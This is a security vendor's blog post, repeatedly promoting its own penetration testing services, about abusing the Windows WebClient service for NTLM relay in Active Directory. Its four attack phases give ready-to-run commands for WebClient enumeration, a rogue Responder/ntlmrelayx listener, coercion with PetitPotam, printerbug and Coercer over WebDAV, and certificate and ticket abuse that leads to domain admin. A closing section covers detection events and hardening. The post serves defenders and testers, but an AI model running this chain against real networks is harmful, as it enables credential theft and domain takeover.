An In-Depth Exploration into WebClient Abuse

The Windows WebClient service is one of those quiet, overlooked components that ships enabled on most Windows workstations by default. For everyday users, it enables seamless interaction with WebDAV shares. For attackers, it is a reliable, living-off-the-land primitive that enables credential relay, coerced authentication, and lateral movement, all without dropping a single piece of custom malware. Understanding WebClient abuse is not optional for any security team defending a modern Active Directory environment.

This blog breaks down exactly how WebClient abuse works, what commands and tooling threat actors use, and what detection opportunities exist for defenders. If you want an expert team to test whether your environment is exposed, Redfox Cybersecurity's penetration testing services are purpose-built for this.

What Is the Windows WebClient Service

The WebClient service (WebClient, running as svchost.exe) is a Windows component that implements the WebDAV protocol, allowing Windows machines to treat remote HTTP-based file stores as mapped network drives. It operates over port 80 and 443, meaning its traffic blends perfectly into normal web traffic.

The critical security implication: when a Windows machine with an active WebClient service attempts to authenticate to a resource over HTTP, it can be coerced into sending Net-NTLMv2 hashes. Those hashes can then be relayed to other services, particularly SMB, LDAP, and Active Directory Certificate Services (ADCS), to authenticate as the victim machine or user.

Why WebClient Abuse Is So Effective

The technique works because of a combination of factors that are deeply embedded in how Windows networks operate:

• The WebClient service is enabled by default on Windows Workstation SKUs.
• HTTP-based authentication triggers WebClient, which communicates over a different channel than standard SMB, bypassing many common relay mitigations like SMB signing requirements.
• When the target is accessed via a hostname (rather than an IP), Windows may treat it as an intranet resource, lowering its authentication guard.
• Coerced authentication over WebDAV does not require any user interaction.

The result is a technique that is low-noise, broadly applicable, and frequently overlooked in security assessments. If your organization has never had this tested, contact Redfox Cybersecurity to find out your actual exposure.

Phase 1: Confirming WebClient Is Running on Target Machines

The first thing an attacker does is determine which hosts in the network have the WebClient service active. This is straightforward with a scanner or a simple check from any domain-joined context.

Checking WebClient Status Locally

sc query WebClient


If the service is running, the output will show STATE: 4 RUNNING. If it is stopped, it can often be started by a low-privileged user because starting WebClient requires no elevated privileges on Windows 10 and 11.

sc start WebClient


Yes, it is that simple. A standard domain user can activate this service on their own workstation.

Enumerating WebClient Across the Network

From an attacker's foothold inside the network, tools like CrackMapExec or NetExec are used to enumerate which hosts have WebClient active:

nxc smb 192.168.1.0/24 -u username -p 'Password123!' -M webdav


This will output a list of hosts where WebClient is running, giving the attacker a prioritized target list for coerced authentication.

Another approach using Get-Service remotely via PowerShell:

Invoke-Command -ComputerName TARGET-PC -ScriptBlock { Get-Service WebClient }


This produces a clean list the attacker uses to decide where to coerce authentication from.

Phase 2: Setting Up a Rogue HTTP Listener for NTLM Relay

With a list of WebClient-active targets in hand, the next step is standing up a malicious HTTP listener that will capture or relay the incoming Net-NTLMv2 authentication attempts.

Running Responder in HTTP-Only Mode

sudo responder -I eth0 -wv --lm


Note: Responder's SMB and HTTP servers should not conflict with the relay tool. If relaying, disable Responder's SMB and HTTP servers in its config file (/etc/responder/Responder.conf) and set SMB = Off and HTTP = Off.

Setting Up NTLMRelayX for WebDAV-Based Relay

impacket-ntlmrelayx is the workhorse for this phase. The attack relays credentials captured from the WebClient coercion to a target, such as LDAP on the Domain Controller or an ADCS web enrollment endpoint:

impacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access --escalate-user attacker_machine$ -smb2support


This command sets up a relay that, when a coerced machine authenticates, grants the attacker's machine account delegation rights over the victim, enabling impersonation of any user on that machine later using S4U2Proxy.

For ADCS-based relay (ESC8 attack path), the relay target changes:

impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template 'Machine'


When the coerced machine authenticates, this issues a machine certificate to the attacker, which can then be used with PKINIT to obtain a Kerberos TGT as that machine.

This is exactly the kind of multi-stage attack chain that Redfox Cybersecurity's red team assessments map end-to-end in your environment.

Phase 3: Coercing Authentication via WebDAV

With the listener and relay ready, the attacker needs to trigger authentication from the victim. The attacker uses the victim's WebClient service to connect to their rogue HTTP listener. The key is using a UNC path with the WebDAV format: \\attacker-machine@80\share.

Using PetitPotam with WebDAV Path

PetitPotam can coerce machine accounts to authenticate to arbitrary UNC paths:

python3 PetitPotam.py -u 'lowpriv_user' -p 'Password123!' -d corp.local attacker@80/share dc01.corp.local


The @80 notation forces the coercion over HTTP (WebDAV) rather than SMB, which is the key distinction. This bypasses mitigations that only block SMB-based coercion.

Using PrinterBug (SpoolSample) via WebDAV Path

python3 printerbug.py corp.local/lowpriv_user:'Password123!'@TARGET-PC 'attacker@80/share'


This triggers the Spooler service on TARGET-PC to connect back to the attacker's HTTP listener using its machine account credentials, which then get relayed by NTLMRelayX.

Using Coercer Tool for Comprehensive Coverage

The Coercer tool automates coercion using dozens of RPC methods at once:

python3 Coercer.py coerce -l attacker@80/share -t TARGET-PC -u lowpriv_user -p 'Password123!' -d corp.local --webdav


This tries every known coercion vector and reports which ones succeeded, maximizing the probability of capturing a valid authentication attempt.

Phase 4: Weaponizing the Relay Output

What happens after the relay depends on where the credentials were relayed.

LDAP Relay: Resource-Based Constrained Delegation (RBCD)

If relayed to LDAP with --delegate-access, the attacker now has an RBCD entry on the victim machine. They can impersonate any user, including domain admins, on that machine:

impacket-getST -spn cifs/TARGET-PC.corp.local -impersonate Administrator -dc-ip 192.168.1.10 'corp.local/attacker_machine$:password'


This produces a Kerberos Service Ticket that can be used to access the target machine's file system as Administrator:

KRB5CCNAME=Administrator.ccache impacket-smbclient -k -no-pass TARGET-PC.corp.local


ADCS Relay: Machine Certificate to Domain Admin

If relayed to ADCS (ESC8), the attacker receives a machine certificate. They use it to get a TGT via PKINIT:

python3 gettgtpkinit.py -cert-pfx machine.pfx corp.local/TARGET-PC$ TARGET-PC.ccache


Then dump the machine's NTLM hash using the TGT with UnPAC-the-Hash:

python3 getnthash.py -key <AS-REP-encryption-key> corp.local/TARGET-PC$


With the machine NTLM hash, the attacker uses pass-the-hash to move laterally or escalate further. In environments where machine accounts have privileged local access or are part of privileged groups, this is a direct path to domain compromise.

Security teams need to see this chain executed against their own infrastructure before attackers do. Redfox Cybersecurity's penetration testing and red team services provide exactly this validation.

Detection Opportunities for Defenders

Defenders are not helpless against WebClient abuse. Several detection and prevention opportunities exist.

Detecting WebClient Activation

Monitor for Event ID 7036 in the System event log, which records service state changes. Alert when WebClient transitions from Stopped to Running, particularly on servers or high-value workstations where it should never be active.

A simple Sigma rule target:

EventID: 7036
ServiceName: WebClient
State: running


Detecting HTTP-Based Authentication from Machine Accounts

HTTP-based NTLM authentication from machine accounts (accounts ending in $) is abnormal in most environments. Monitor IIS or proxy logs for NTLM authentication over port 80 or 443 from machine account names. This almost always indicates coerced authentication via WebDAV.

Detecting Abnormal LDAP Modifications

Monitor for msDS-AllowedToActOnBehalfOfOtherIdentity attribute modifications in Active Directory. This attribute being written to machine account objects outside of a known IT change process is a strong indicator of RBCD-based privilege escalation.

Get-ADComputer TARGET-PC -Properties msDS-AllowedToActOnBehalfOfOtherIdentity


If this attribute is populated unexpectedly, investigate immediately.

Preventive Hardening Steps

Disable the WebClient service on all machines where WebDAV is not required. Group Policy can enforce this at scale:

Computer Configuration > Windows Settings > Security Settings > System Services > WebClient > Startup Type: Disabled


Enable LDAP signing and LDAP channel binding on Domain Controllers to prevent LDAP relay. Patch ADCS misconfigurations, particularly ESC8 (HTTP enrollment endpoints without Extended Protection for Authentication). Enable SMB signing across the entire environment to limit relay surface further.

None of these controls are simple to validate without active testing. Redfox Cybersecurity's penetration testing team can verify which of these controls are actually working and which have gaps that leave you exposed.

Real-World Attack Chains Where WebClient Abuse Appears

WebClient abuse does not live in isolation. It appears as a critical link in several documented attack chains:

NTLM Relay to ADCS (ESC8): Coerce WebClient-enabled host, relay to ADCS HTTP enrollment, obtain machine certificate, escalate to domain admin via PKINIT.

RBCD Privilege Escalation: Coerce WebClient-enabled host, relay to LDAP, write RBCD entry, impersonate domain admin on target host using S4U2Proxy.

Shadow Credentials Attack: Relay to LDAP and write to msDS-KeyCredentialLink on the victim object, then use PKINIT to authenticate as the victim.

Cross-Forest Lateral Movement: In environments with cross-forest trusts, WebClient coercion combined with relay can sometimes be used to move from one forest to another if trust configurations are permissive.

Each of these chains has been observed in real intrusions, not just research. The tools are publicly available, the techniques are documented, and the barrier to exploitation is low for any skilled attacker with a foothold in your network.

Closing Thoughts

WebClient abuse is a mature technique that continues to be highly effective because most organizations have never tested for it. The service runs quietly in the background of nearly every Windows workstation, and the attack chains it enables require only a low-privileged domain account to initiate. From there, the path to domain compromise can be surprisingly short.

Defenders who understand this technique can implement the right detections and hardening measures. But understanding is not enough without validation. You need to know whether your specific environment, with its specific configuration, patch level, and monitoring stack, can detect and stop this attack chain in practice.

That validation is what Redfox Cybersecurity's penetration testing services are designed to provide. The team performs in-depth Active Directory security assessments, red team engagements, and adversary simulation exercises that include WebClient abuse and every related relay and coercion technique. The output is not a generic checklist but a precise picture of your actual risk, with prioritized, actionable remediation guidance.

If you are responsible for defending an Active Directory environment, do not wait for an attacker to show you this gap. Reach out to Redfox Cybersecurity and get ahead of it.